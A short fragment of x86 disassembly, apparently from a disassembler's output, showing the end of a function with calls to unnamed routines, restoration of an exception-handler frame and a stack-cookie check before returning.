mov dword [ebp - 0x44c], esp
lea eax, [ebp - 0x440]
push eax
call fcn.100069d0
mov dword [ebp - 0x450], eax
mov ecx, dword [ebp + 8]
call fcn.10009150
add esp, 0x18
mov dword [ebp - 0x448], eax
mov ecx, dword [ebp - 0x444]
or ecx, 1
mov dword [ebp - 0x444], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x440]
call fcn.10004d20
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x428]
call fcn.10004d20
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100ce74b
mov esp, ebp
pop ebp
ret